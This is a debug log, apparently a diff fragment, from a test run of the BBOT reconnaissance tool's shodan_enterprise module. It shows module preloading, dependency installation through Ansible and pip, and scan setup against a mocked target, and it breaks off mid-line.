modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:42:28,265 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:42:28,266 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:42:28,266 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:42:28,267 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:42:28,268 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:42:28,268 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:42:28,269 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:42:28,270 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:42:28,270 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:42:28,271 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:42:28,272 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:42:28,272 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:42:28,273 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:42:28,273 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:42:28,278 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:42:28,278 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:42:28,279 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:42:28,280 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:42:28,281 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:42:28,281 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:42:28,282 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:42:28,283 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:42:28,284 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:42:28,284 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:42:28,285 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:42:28,286 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:42:28,286 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:42:28,287 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:42:28,288 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:42:28,289 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:42:28,289 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:42:28,290 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:42:28,290 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:42:28,291 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:42:28,292 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:42:28,292 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:42:28,294 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:42:28,294 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:42:28,295 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:42:28,295 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:42:28,301 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:42:28,301 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:42:28,302 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:42:28,303 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:42:28,304 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:42:28,305 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:42:28,305 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:42:28,306 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:42:28,307 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:42:28,307 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:42:28,309 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:42:28,310 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:42:28,311 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:42:28,311 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:42:28,312 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:42:28,313 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:42:28,313 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:42:28,314 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:42:28,314 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:42:28,315 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:42:28,315 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:42:28,316 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:42:28,317 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:42:28,317 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:42:28,318 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:42:28,318 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:42:28,319 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:42:28,320 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:42:28,321 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:42:28,322 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:42:28,322 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:42:28,323 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:42:28,323 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:42:28,324 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:42:28,324 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:42:28,325 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:42:28,326 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:42:28,326 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:42:28,327 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:42:28,327 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:42:28,328 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:42:28,329 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:42:28,329 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:42:28,330 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:42:28,330 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:42:28,331 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:42:28,331 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:42:28,332 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:42:28,332 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:42:28,333 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:42:28,334 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:42:28,334 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:42:28,335 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:42:28,336 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:42:28,337 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:42:28,337 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:42:28,338 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:42:28,339 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:42:28,339 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:42:28,340 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:42:28,340 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:42:28,341 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:42:28,342 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:42:28,343 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:42:28,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:42:28,344 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:42:28,344 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:42:28,345 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:42:28,345 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:42:28,346 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:42:28,347 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:42:28,347 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:42:28,348 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:42:28,348 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:42:28,349 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:42:28,349 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:42:28,350 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:42:28,351 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:42:28,351 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:42:28,352 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:42:28,353 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:42:28,353 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:42:28,354 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:42:28,354 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:42:28,355 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:42:28,356 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:42:28,356 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:42:28,357 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:42:28,358 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:42:28,358 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:42:28,359 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:42:28,359 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:42:28,360 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:42:28,361 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:42:28,362 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:42:28,363 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:42:28,366 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:42:28,366 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:42:28,368 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:42:28,368 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:42:28,369 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:42:28,370 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:42:28,371 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:42:28,372 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:42:28,372 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:42:28,372 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:42:28,373 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:42:28,374 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:42:28,375 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:42:28,375 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:42:28,376 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:42:28,377 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:42:28,377 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:42:28,378 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:42:28,379 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:42:28,379 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:42:28,380 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:42:28,381 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:42:28,382 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:42:28,382 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:42:28,383 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:42:28,384 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:42:28,384 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:42:28,385 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:42:28,386 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:42:28,387 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:42:28,388 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:42:28,388 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:42:28,389 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:42:29,470 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:42:29,471 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:42:29,471 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:42:29,612 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:42:30,173 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:42:30,173 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:42:30,173 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:42:30,174 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:42:30,380 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:42:30,381 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:42:30,489 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:42:30,489 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:42:30,547 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:42:30,550 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:42:30,550 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:42:30,985 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:42:30,986 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:42:33,367 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:42:33,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:42:33,368 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:42:35,215 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:42:35,216 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:42:35,221 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:42:35,222 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:42:35,222 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:42:35,222 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:42:35,223 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:42:35,224 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:42:35,224 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:42:35,224 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:42:35,224 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:42:35,225 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:42:35,229 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/i9o1eh55kcx7sqdlnijq +2026-03-01 16:42:35,997 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:42:35,998 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:42:35,999 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:42:36,122 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:42:36,122 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:42:36,123 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:42:36,124 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:42:36,125 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:42:36,125 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:42:36,125 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:42:36,126 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:42:36,126 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:42:36,127 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:42:36,128 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:42:36,129 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:42:36,129 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:42:36,129 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:42:36,129 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:42:36,130 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:42:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:42:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:42:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:42:36,133 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:42:36,133 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:42:36,134 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:42:36,278 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_7lvh2vigm6 +2026-03-01 16:42:36,278 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:42:36,391 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:42:36,392 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:42:36,392 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:42:36,394 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, 